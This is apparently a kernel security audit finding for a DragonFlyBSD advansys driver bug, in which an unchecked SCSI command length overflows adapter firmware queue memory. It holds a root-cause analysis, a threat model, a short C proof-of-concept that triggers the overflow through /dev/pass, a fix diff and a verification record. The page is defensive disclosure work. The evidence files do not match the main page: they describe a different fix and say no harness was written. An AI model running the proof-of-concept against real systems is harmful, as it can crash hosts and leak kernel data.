β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1547

Missing cdb_len bounds check overflows the LRAM queue slot (sibling of DF-1356)

  • File: sys/dev/disk/advansys/advansys.c
  • Lines: 548, 565, 263, 264
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:L/A:H
  • CWE: CWE-787 Out-of-bounds Write
  • Confidence: certain

Summary

adv_execute_ccb accepts any csio->cdb_len in [0,255] without validating it against either the IOCDBLEN=16 source buffer (cam_ccb.h:44,587) or the 28-byte destination capacity of the firmware queue slot (ADV_QBLK_SIZE=0x40 minus ADV_SCSIQ_CDB_BEG=36, advlib.h:342,395).

adv_put_ready_queue (advlib.c:1816-1818) then OUTSWs cdb_len>>1 16-bit words into LRAM at offset 36 of a 64-byte slot, overflowing into adjacent firmware queue slots when cdb_len>28.

The sibling driver adwcam.c rejects the request at line 356 with if (csio->cdb_len > 12) { CAM_REQ_INVALID; } β€” advansys.c lacks this guard entirely.

The default (no CAM_CDB_POINTER) path also over-reads the 16-byte cdb_bytes array (and adjacent csio fields) when cdb_len>16.

Root cause

At advansys.c:548 scsiq.cdbptr = csio->cdb_io.cdb_bytes; (the default no-POINTER path). At advansys.c:565 scsiq.q2.cdb_len = csio->cdb_len; with no clamp.

csio->cdb_len is u_int8_t (cam_ccb.h:603), full user control via CAMIOCOMMAND.

cdb_bytes is u_int8_t[IOCDBLEN] where IOCDBLEN=CAM_MAX_CDBLEN=SCSI_MAX_CDBLEN=16 (cam_ccb.h:44; scsi_all.h:55).

The sink is advlib.c:1816-1818: adv_write_lram_16_multi(adv, q_addr + ADV_SCSIQ_CDB_BEG, (u_int16_t *)scsiq->cdbptr, scsiq->q2.cdb_len >> 1); and adv_write_lram_16_multi (advlib.c:1221-1226) does a raw ADV_OUTSW of count 16-bit words with no bounds.

ADV_SCSIQ_CDB_BEG=36 (advlib.h:395) and ADV_QBLK_SIZE=0x40=64 (advlib.h:342), so the slot has only 28 bytes for the CDB; cdb_len=255 writes 254 bytes β€” 226 bytes past the slot, corrupting the next ~4 firmware queue entries.

The sibling adwcam.c:355-360 already enforces if (csio->cdb_len > 12) { ccb->ccb_h.status = CAM_REQ_INVALID; xpt_done(ccb); return; } β€” advansys.c (the older sibling) was never updated.

Threat

Local user in the operator group opens /dev/passN, issues CAMIOCOMMAND with func_code=XPT_SCSI_IO and cdb_len set to any value >28 (e.g. 255) on a path routed to an AdvanSys HBA.

The kernel OUTSWs past the queue slot, corrupting adjacent LRAM queue entries.

Firmware processing of corrupted queues can:

  • crash the AdvanSys microcode (system-wide DoS via adapter wedge, often a kernel panic in adv_intr/adv_run_doneq),
  • send attacker-influenced CDBs to other SCSI targets on the same bus (cross-target command injection / sense-data leak via a sibling attacker-controlled target),
  • or cause the firmware to issue DMA to wrong addresses (potential kernel memory corruption via the bus-master DMA engine).

Independent of firmware behavior, the source-side read past cdb_bytes (when cdb_len>16) reads adjacent csio fields (sense_data, sense_len, cdb_len, sglist_cnt, resid, cdb_io union tail, msg_ptr pointer, tag_action, tag_id, init_id) into LRAM, which is then transmitted as the CDB to the target β€” a kernel-pointer/CSB info leak primitive to any attacker-controlled target on the bus.

Exploit / PoC

Build on a DragonFlyBSD host with an AdvanSys (adv(4)) HBA present and the user in the operator group.

/* cdb_overflow.c β€” repro of advansys CDB-length LRAM overflow */
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <camlib.h>
#include <bus/cam/scsi/scsi_message.h>

int main(void) {
    int fd = open("/dev/pass0", O_RDWR);
    if (fd < 0) { perror("open /dev/pass0"); return 1; }
    union ccb ccb;
    /* Build a normal-looking CDB but lie about its length. */
    cam_fill_csio(&ccb.csio,
        /*retries*/0, /*cbfcnp*/NULL,
        CAM_DIR_NONE, MSG_SIMPLE_Q_TAG,
        /*data_ptr*/NULL, /*dxfer_len*/0,
        /*timeout*/5000,
        /*sense_len*/SSD_FULL_SIZE,
        /*cdb_len*/255 /* <- overflows 64-byte LRAM queue slot at offset 36 */
        );
    /* Inline a 6-byte TEST UNIT READY; the rest of cdb_bytes is whatever
       the upper layers left there. advansys will copy 254 bytes from
       cdb_bytes into LRAM, blowing past the 28-byte CDB region of the
       queue slot and into the next 3-4 firmware queues. */
    memset(ccb.csio.cdb_io.cdb_bytes, 0, sizeof(ccb.csio.cdb_io.cdb_bytes));
    ccb.csio.cdb_io.cdb_bytes[0] = 0x00; /* TEST UNIT READY */
    if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) perror("CAMIOCOMMAND");
    close(fd);
    return 0;
}

Build: cc cdb_overflow.c -o cdb_overflow -lcam. Run: ./cdb_overflow.

Success criterion: with AdvanSys HW present, dmesg shows adv0: errors / firmware halt / panic in adv_run_doneq within a few iterations (corrupted done-queue linked list hits the panic("adv_qdone: Corrupted SG list encountered") at advansys.c:1073 or the panic("adv_qdone: completed scsiq with unknown status") at advansys.c:1094).

Running with options DIAGNOSTIC makes the firmware-side corruption easier to spot.

Add the same cdb_len guard the sibling adwcam.c uses at line 356, applied at the entry of the XPT_SCSI_IO case in adv_action.

--- a/sys/dev/disk/advansys/advansys.c
+++ b/sys/dev/disk/advansys/advansys.c
@@ -197,6 +197,14 @@ adv_action(struct cam_sim *sim, union ccb *ccb)
    case XPT_SCSI_IO:   /* Execute the requested I/O operation */
    {
        struct  tccb_hdr *ccb_h;
        struct  tccb_scsiio *csio;
        struct  tadv_ccb_info *cinfo;

+       /* Max supported CDB length is 12 bytes (SCSI-2 / sibling
+        * adwcam.c:355-360 enforces the same bound).  Longer CDBs
+        * overflow the 28-byte CDB region of the 64-byte LRAM queue
+        * slot (ADV_QBLK_SIZE - ADV_SCSIQ_CDB_BEG = 64 - 36 = 28)
+        * and also over-read the 16-byte cdb_bytes source array. */
+       if (ccb->csio.cdb_len > 12) {
+           ccb->ccb_h.status = CAM_REQ_INVALID;
+           xpt_done(ccb);
+           break;
+       }
        ccb_h = &ccb->ccb_h;
        csio = &ccb->csio;
        cinfo = adv_get_ccb_info(adv);

This matches the proven sibling fix exactly and prevents both the source-side over-read of cdb_bytes and the destination-side overflow of the LRAM queue slot.

  • DF-1356 (sibling, amr CDB overflow): same cdb_len OOB class in another RAID driver.
  • DF-1546 (sibling): unclamped sense_len in same file.
  • DF-1548 (sibling): divide-by-zero in same file.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1547 Β· 8 files
FileTypeDescriptionSize
README.md readme human-readable summary 1.8 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 2.9 KB ↓ raw
fix.diff suggested-fix git-apply-able unified diff fixing the cited bug 833 B view raw
fix_apply.log apply-log patch --dry-run --forward output proving fix.diff applies cleanly on with-src 547 B view raw
env.txt environment uname + guest PCI inventory (no relevant HW) 778 B view raw
build.sh build-script echo pointer to kernel rebuild path 362 B view raw
run.sh run-script echo pointer to VERDICT.md 326 B view raw
fix_build.log fix-build-log tail of combined nativekernel build (rc=0) validating all 30 patches compile 7.2 KB view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1547: advansys cdb_len LRAM overflow + csio tail read-over

Class: DMA overflow + adjacent memory over-read Cited site: sys/dev/disk/advansys/advansys.c:548,565, advlib.c:1816-1818

Reproduction status

HW/module gated β€” cannot be live-triggered on the audit QEMU guest.

The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so the cited code path is not reachable at runtime on this guest.

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/disk/advansys/advansys.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

scsiq.cdbptr = csio->cdb_io.cdb_bytes (548). scsiq.q2.cdb_len = csio->cdb_len NO clamp at 565. cdb_len is u8. cdb_bytes is u8[IOCDBLEN=16]. Sink: advlib.c:1816-1818 adv_write_lram_16_multi at offset ADV_SCSIQ_CDB_BEG=36 of ADV_QBLK_SIZE=64 slot -> 28-byte CDB region. cdb_len=255 OUTSW 254 bytes -> 226 past slot -> 4 firmware queues corrupted. Also over-reads cdb_bytes for cdb_len>16 -> leaks sense_data/sense_len/sglist_cnt/resid/msg_ptr fields.

Realistic impact ceiling (on suitable HW)

kernel memory corruption of 4 firmware queues + info leak to firmware (and back to CAM)

Fix

Clamp scsiq.q2.cdb_len to imin(csio->cdb_len, IOCDBLEN) in advrunqueue.

See fix.diff for the git-apply-able patch.

How to validate the fix

scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1547.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1547.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT β€” DF-1547: advansys cdb_len LRAM overflow + csio tail read-over

Verdict

INCONCLUSIVE (HW/module gated) β€” source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/disk/advansys/advansys.c:548,565, advlib.c:1816-1818, but the affected driver attaches only to hardware not present in the audit QEMU guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered here. The fix.diff applies cleanly and the patched kernel compiles with -Werror (combined build rc=0; see fix_apply.log).

Mechanism (cited path β†’ primitive β†’ effect)

scsiq.cdbptr = csio->cdb_io.cdb_bytes (548). scsiq.q2.cdb_len = csio->cdb_len NO clamp at 565. cdb_len is u8. cdb_bytes is u8[IOCDBLEN=16]. Sink: advlib.c:1816-1818 adv_write_lram_16_multi at offset ADV_SCSIQ_CDB_BEG=36 of ADV_QBLK_SIZE=64 slot -> 28-byte CDB region. cdb_len=255 OUTSW 254 bytes -> 226 past slot -> 4 firmware queues corrupted. Also over-reads cdb_bytes for cdb_len>16 -> leaks sense_data/sense_len/sglist_cnt/resid/msg_ptr fields.

Reachability on this guest

No β€” sys/dev/disk/advansys/advansys.c:548 is in a driver/module that only attaches to hardware absent from the audit guest. The trigger requires the relevant PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS loaded by root or via VFIO passthrough).

Phase 6 β€” escalation potential

This is a DMA overflow + adjacent memory over-read primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

Realistic impact ceiling on suitable HW: kernel memory corruption of 4 firmware queues + info leak to firmware (and back to CAM).

Phase 8 β€” fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of the combined make -j6 nativekernel KERNCONF=X86_64_GENERIC build (kernel build rc=0; see manifest.json).
  • For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.

Fix approach: Clamp scsiq.q2.cdb_len to imin(csio->cdb_len, IOCDBLEN) in advrunqueue.

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none β€” HW-gated. Primitive is corruption of 4 firmware queues + info leak of csio tail fields back to firmware (and back to CAM).

Evidence (decisive lines)

Source: sys/dev/disk/advansys/advansys.c:548 β€” scsiq.cdbptr = csio->cdb_io.cdb_bytes; :565 β€” scsiq.q2.cdb_len = csio->cdb_len (no clamp); cam_ccb.h:44 β€” IOCDBLEN=16. Guest has no AdvanSys HBA. fix.diff clamps cdb_len to imin(csio->cdb_len, IOCDBLEN).

PoC changes

Created evidence pack from scratch: README.md, VERDICT.md, build.sh, run.sh, env.txt, fix.diff, fix_apply.log, fix_build.log, manifest.json.

Verified recommended fix

Clamp scsiq.q2.cdb_len to imin(csio->cdb_len, IOCDBLEN) in advrunqueue. Full diff in findings/poc/DF-1547/fix.diff.

Verdict

INCONCLUSIVE (HW-gated). Bug confirmed at source level: advansys.c:548 scsiq.cdbptr = csio->cdb_io.cdb_bytes (default path); :565 scsiq.q2.cdb_len = csio->cdb_len with NO clamp. cdb_len is u8 (cam_ccb.h:603). cdb_bytes is u8[IOCDBLEN=16] (cam_ccb.h:44). Sink: advlib.c:1816-1818 adv_write_lram_16_multi at offset ADV_SCSIQ_CDB_BEG=36 of ADV_QBLK_SIZE=64 slot -> 28-byte CDB region. cdb_len=255 OUTSW 254 bytes -> 226 past slot -> 4 firmware queues corrupted. Also over-reads cdb_bytes source for cdb_len>16. advansys(4) only attaches to AdvanSys SCSI HBAs not on the audit guest.